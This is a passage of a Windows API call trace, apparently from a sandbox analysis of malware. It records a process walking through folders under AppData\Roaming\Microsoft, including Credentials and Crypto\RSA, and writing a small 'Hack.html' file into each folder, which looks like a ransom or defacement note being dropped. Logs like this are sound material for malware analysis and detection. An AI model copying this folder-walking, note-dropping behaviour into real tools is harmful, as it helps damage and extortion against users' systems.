out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\AddIns", lpFilePart=0x0) returned 0x3e [0079.349] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\AddIns\\", nBufferLength=0x105, lpBuffer=0x39e804, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\AddIns\\", lpFilePart=0x0) returned 0x3f [0079.349] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\AddIns\\*", lpFindFileData=0x39ea50 | out: lpFindFileData=0x39ea50) returned 0x59a028 [0079.350] FindNextFileW (in: hFindFile=0x59a028, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0079.350] FindNextFileW (in: hFindFile=0x59a028, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 0 [0079.351] FindClose (in: hFindFile=0x59a028 | out: hFindFile=0x59a028) returned 1 [0079.351] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\AddIns", nBufferLength=0x105, lpBuffer=0x39e830, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\AddIns", lpFilePart=0x0) returned 0x3e [0079.351] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\AddIns\\", nBufferLength=0x105, lpBuffer=0x39e804, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\AddIns\\", lpFilePart=0x0) returned 0x3f [0079.351] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\AddIns\\*", lpFindFileData=0x39ea50 | out: lpFindFileData=0x39ea50) returned 0x59a028 [0079.351] FindNextFileW (in: hFindFile=0x59a028, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0079.351] FindNextFileW (in: hFindFile=0x59a028, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 0 [0079.351] FindClose (in: hFindFile=0x59a028 | out: hFindFile=0x59a028) returned 1 [0079.352] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\AddIns\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e724, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\AddIns\\Hack.html", lpFilePart=0x0) returned 0x48 [0079.352] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\AddIns\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\addins\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0079.352] GetFileType (hFile=0x174) returned 0x1 [0079.352] GetFileType (hFile=0x174) returned 0x1 [0079.352] WriteFile (in: hFile=0x174, lpBuffer=0x28681cc*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ec94, lpOverlapped=0x0 | out: lpBuffer=0x28681cc*, lpNumberOfBytesWritten=0x39ec94*=0xba, lpOverlapped=0x0) returned 1 [0079.353] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Credentials", nBufferLength=0x105, lpBuffer=0x39e830, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Credentials", lpFilePart=0x0) returned 0x43 [0079.353] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Credentials\\", nBufferLength=0x105, lpBuffer=0x39e804, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Credentials\\", lpFilePart=0x0) returned 0x44 [0079.354] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Credentials\\*", lpFindFileData=0x39ea50 | out: lpFindFileData=0x39ea50) returned 0x59a028 [0079.354] FindNextFileW (in: hFindFile=0x59a028, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0079.354] FindNextFileW (in: hFindFile=0x59a028, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 0 [0079.354] FindClose (in: hFindFile=0x59a028 | out: hFindFile=0x59a028) returned 1 [0079.354] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Credentials", nBufferLength=0x105, lpBuffer=0x39e830, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Credentials", lpFilePart=0x0) returned 0x43 [0079.354] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Credentials\\", nBufferLength=0x105, lpBuffer=0x39e804, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Credentials\\", lpFilePart=0x0) returned 0x44 [0079.354] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Credentials\\*", lpFindFileData=0x39ea50 | out: lpFindFileData=0x39ea50) returned 0x59a028 [0079.354] FindNextFileW (in: hFindFile=0x59a028, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0079.354] FindNextFileW (in: hFindFile=0x59a028, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 0 [0079.355] FindClose (in: hFindFile=0x59a028 | out: hFindFile=0x59a028) returned 1 [0079.355] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Credentials\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e724, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Credentials\\Hack.html", lpFilePart=0x0) returned 0x4d [0079.355] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Credentials\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\credentials\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0079.356] GetFileType (hFile=0x174) returned 0x1 [0079.356] GetFileType (hFile=0x174) returned 0x1 [0079.356] WriteFile (in: hFile=0x174, lpBuffer=0x286c1d8*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ec94, lpOverlapped=0x0 | out: lpBuffer=0x286c1d8*, lpNumberOfBytesWritten=0x39ec94*=0xba, lpOverlapped=0x0) returned 1 [0079.359] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Crypto", nBufferLength=0x105, lpBuffer=0x39e830, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Crypto", lpFilePart=0x0) returned 0x3e [0079.359] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Crypto\\", nBufferLength=0x105, lpBuffer=0x39e804, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Crypto\\", lpFilePart=0x0) returned 0x3f [0079.359] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Crypto\\*", lpFindFileData=0x39ea50 | out: lpFindFileData=0x39ea50) returned 0x59a028 [0079.360] FindNextFileW (in: hFindFile=0x59a028, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0079.360] FindNextFileW (in: hFindFile=0x59a028, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0079.360] FindNextFileW (in: hFindFile=0x59a028, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 0 [0079.360] FindClose (in: hFindFile=0x59a028 | out: hFindFile=0x59a028) returned 1 [0079.360] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Crypto", nBufferLength=0x105, lpBuffer=0x39e830, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Crypto", lpFilePart=0x0) returned 0x3e [0079.360] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Crypto\\", nBufferLength=0x105, lpBuffer=0x39e804, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Crypto\\", lpFilePart=0x0) returned 0x3f [0079.361] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Crypto\\*", lpFindFileData=0x39ea50 | out: lpFindFileData=0x39ea50) returned 0x59a028 [0079.361] FindNextFileW (in: hFindFile=0x59a028, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0079.361] FindNextFileW (in: hFindFile=0x59a028, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0079.361] FindNextFileW (in: hFindFile=0x59a028, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 0 [0079.361] FindClose (in: hFindFile=0x59a028 | out: hFindFile=0x59a028) returned 1 [0079.361] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Crypto\\RSA", nBufferLength=0x105, lpBuffer=0x39e7fc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Crypto\\RSA", lpFilePart=0x0) returned 0x42 [0079.361] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\", nBufferLength=0x105, lpBuffer=0x39e7d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\", lpFilePart=0x0) returned 0x43 [0079.361] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\*", lpFindFileData=0x39ea1c | out: lpFindFileData=0x39ea1c) returned 0x59a028 [0079.362] FindNextFileW (in: hFindFile=0x59a028, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0079.362] FindNextFileW (in: hFindFile=0x59a028, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0079.362] FindNextFileW (in: hFindFile=0x59a028, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 0 [0079.362] FindClose (in: hFindFile=0x59a028 | out: hFindFile=0x59a028) returned 1 [0079.362] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Crypto\\RSA", nBufferLength=0x105, lpBuffer=0x39e7fc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Crypto\\RSA", lpFilePart=0x0) returned 0x42 [0079.362] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\", nBufferLength=0x105, lpBuffer=0x39e7d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\", lpFilePart=0x0) returned 0x43 [0079.362] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\*", lpFindFileData=0x39ea1c | out: lpFindFileData=0x39ea1c) returned 0x59a028 [0079.362] FindNextFileW (in: hFindFile=0x59a028, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0079.362] FindNextFileW (in: hFindFile=0x59a028, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0079.362] FindNextFileW (in: hFindFile=0x59a028, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 0 [0079.362] FindClose (in: hFindFile=0x59a028 | out: hFindFile=0x59a028) returned 1 [0079.363] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-3388679973-3930757225-3770151564-1000", nBufferLength=0x105, lpBuffer=0x39e7c8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-3388679973-3930757225-3770151564-1000", lpFilePart=0x0) returned 0x71 [0079.363] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-3388679973-3930757225-3770151564-1000\\", nBufferLength=0x105, lpBuffer=0x39e79c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-3388679973-3930757225-3770151564-1000\\", lpFilePart=0x0) returned 0x72 [0079.363] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-3388679973-3930757225-3770151564-1000\\*", lpFindFileData=0x39e9e8 | out: lpFindFileData=0x39e9e8) returned 0x59a028 [0079.368] FindNextFileW (in: hFindFile=0x59a028, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 1 [0079.368] FindNextFileW (in: hFindFile=0x59a028, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 1 [0079.368] FindNextFileW (in: hFindFile=0x59a028, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 1 [0079.368] FindNextFileW (in: hFindFile=0x59a028, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 1 [0079.368] FindNextFileW (in: hFindFile=0x59a028, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 0 [0079.368] FindClose (in: hFindFile=0x59a028 | out: hFindFile=0x59a028) returned 1 [0079.369] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-3388679973-3930757225-3770151564-1000", nBufferLength=0x105, lpBuffer=0x39e7c8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-3388679973-3930757225-3770151564-1000", lpFilePart=0x0) returned 0x71 [0079.369] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-3388679973-3930757225-3770151564-1000\\", nBufferLength=0x105, lpBuffer=0x39e79c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-3388679973-3930757225-3770151564-1000\\", lpFilePart=0x0) returned 0x72 [0079.369] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-3388679973-3930757225-3770151564-1000\\*", lpFindFileData=0x39e9e8 | out: lpFindFileData=0x39e9e8) returned 0x59a028 [0079.370] FindNextFileW (in: hFindFile=0x59a028, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 1 [0079.370] FindNextFileW (in: hFindFile=0x59a028, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 1 [0079.370] FindNextFileW (in: hFindFile=0x59a028, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 1 [0079.370] FindNextFileW (in: hFindFile=0x59a028, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 1 [0079.370] FindNextFileW (in: hFindFile=0x59a028, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 0 [0079.371] FindClose (in: hFindFile=0x59a028 | out: hFindFile=0x59a028) returned 1 [0079.372] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-3388679973-3930757225-3770151564-1000\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e6bc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-3388679973-3930757225-3770151564-1000\\Hack.html", lpFilePart=0x0) returned 0x7b [0079.372] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-3388679973-3930757225-3770151564-1000\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\crypto\\rsa\\s-1-5-21-3388679973-3930757225-3770151564-1000\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0079.373] GetFileType (hFile=0x174) returned 0x1 [0079.373] GetFileType (hFile=0x174) returned 0x1 [0079.373] WriteFile (in: hFile=0x174, lpBuffer=0x2875b38*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ec2c, lpOverlapped=0x0 | out: lpBuffer=0x2875b38*, lpNumberOfBytesWritten=0x39ec2c*=0xba, lpOverlapped=0x0) returned 1 [0079.375] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e6f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\Hack.html", lpFilePart=0x0) returned 0x4c [0079.375] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\crypto\\rsa\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0079.375] GetFileType (hFile=0x174) returned 0x1 [0079.375] GetFileType (hFile=0x174) returned 0x1 [0079.375] WriteFile (in: hFile=0x174, lpBuffer=0x2878370*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ec60, lpOverlapped=0x0 | out: lpBuffer=0x2878370*, lpNumberOfBytesWritten=0x39ec60*=0xba, lpOverlapped=0x0) returned 1 [0079.376] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Crypto\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e724, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Crypto\\Hack.html", lpFilePart=0x0) returned 0x48 [0079.377] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Crypto\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\crypto\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0079.377] GetFileType (hFile=0x174) returned 0x1 [0079.377] GetFileType (hFile=0x174) returned 0x1 [0079.377] WriteFile (in: hFile=0x174, lpBuffer=0x287ab98*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ec94, lpOverlapped=0x0 | out: lpBuffer=0x287ab98*, lpNumberOfBytesWritten=0x39ec94*=0xba, lpOverlapped=0x0) returned 1 [0079.378] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Document Building Blocks", nBufferLength=0x105, lpBuffer=0x39e830, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Document Building Blocks", lpFilePart=0x0) returned 0x50 [0079.378] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\", nBufferLength=0x105, lpBuffer=0x39e804, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\", lpFilePart=0x0) returned 0x51 [0079.378] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\*", lpFindFileData=0x39ea50 | out: lpFindFileData=0x39ea50) returned 0x59a028 [0079.379] FindNextFileW (in: hFindFile=0x59a028, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0079.379] FindNextFileW (in: hFindFile=0x59a028, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0079.379] FindNextFileW (in: hFindFile=0x59a028, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 0 [0079.379] FindClose (in: hFindFile=0x59a028 | out: hFindFile=0x59a028) returned 1 [0079.380] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Document Building Blocks", nBufferLength=0x105, lpBuffer=0x39e830, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Document Building Blocks", lpFilePart=0x0) returned 0x50 [0079.380] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\", nBufferLength=0x105, lpBuffer=0x39e804, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\", lpFilePart=0x0) returned 0x51 [0079.380] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\*", lpFindFileData=0x39ea50 | out: lpFindFileData=0x39ea50) returned 0x59a028 [0079.380] FindNextFileW (in: hFindFile=0x59a028, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0079.380] FindNextFileW (in: hFindFile=0x59a028, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0079.380] FindNextFileW (in: hFindFile=0x59a028, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 0 [0079.380] FindClose (in: hFindFile=0x59a028 | out: hFindFile=0x59a028) returned 1 [0079.380] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033", nBufferLength=0x105, lpBuffer=0x39e7fc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033", lpFilePart=0x0) returned 0x55 [0079.380] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\", nBufferLength=0x105, lpBuffer=0x39e7d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\", lpFilePart=0x0) returned 0x56 [0079.380] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\*", lpFindFileData=0x39ea1c | out: lpFindFileData=0x39ea1c) returned 0x59a028 [0079.381] FindNextFileW (in: hFindFile=0x59a028, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0079.381] FindClose (in: hFindFile=0x59a028 | out: hFindFile=0x59a028) returned 1 [0079.381] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033", nBufferLength=0x105, lpBuffer=0x39e7fc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033", lpFilePart=0x0) returned 0x55 [0079.381] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\", nBufferLength=0x105, lpBuffer=0x39e7d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\", lpFilePart=0x0) returned 0x56 [0079.381] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\*", lpFindFileData=0x39ea1c | out: lpFindFileData=0x39ea1c) returned 0x59a028 [0079.381] FindClose (in: hFindFile=0x59a028 | out: hFindFile=0x59a028) returned 1 [0079.382] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\14", nBufferLength=0x105, lpBuffer=0x39e7c8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\14", lpFilePart=0x0) returned 0x58 [0079.382] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\14\\", nBufferLength=0x105, lpBuffer=0x39e79c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\14\\", lpFilePart=0x0) returned 0x59 [0079.382] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\14\\*", lpFindFileData=0x39e9e8 | out: lpFindFileData=0x39e9e8) returned 0x59a028 [0079.383] FindClose (in: hFindFile=0x59a028 | out: hFindFile=0x59a028) returned 1 [0079.383] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\14", nBufferLength=0x105, lpBuffer=0x39e7c8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\14", lpFilePart=0x0) returned 0x58 [0079.383] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\14\\", nBufferLength=0x105, lpBuffer=0x39e79c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\14\\", lpFilePart=0x0) returned 0x59 [0079.383] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\14\\*", lpFindFileData=0x39e9e8 | out: 